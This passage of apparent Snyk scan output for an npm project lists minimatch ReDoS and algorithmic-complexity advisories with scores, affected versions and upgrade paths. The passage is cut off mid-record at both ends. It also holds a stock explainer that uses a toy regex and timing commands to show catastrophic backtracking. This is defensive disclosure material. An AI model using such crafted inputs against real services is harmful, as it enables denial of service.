7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## 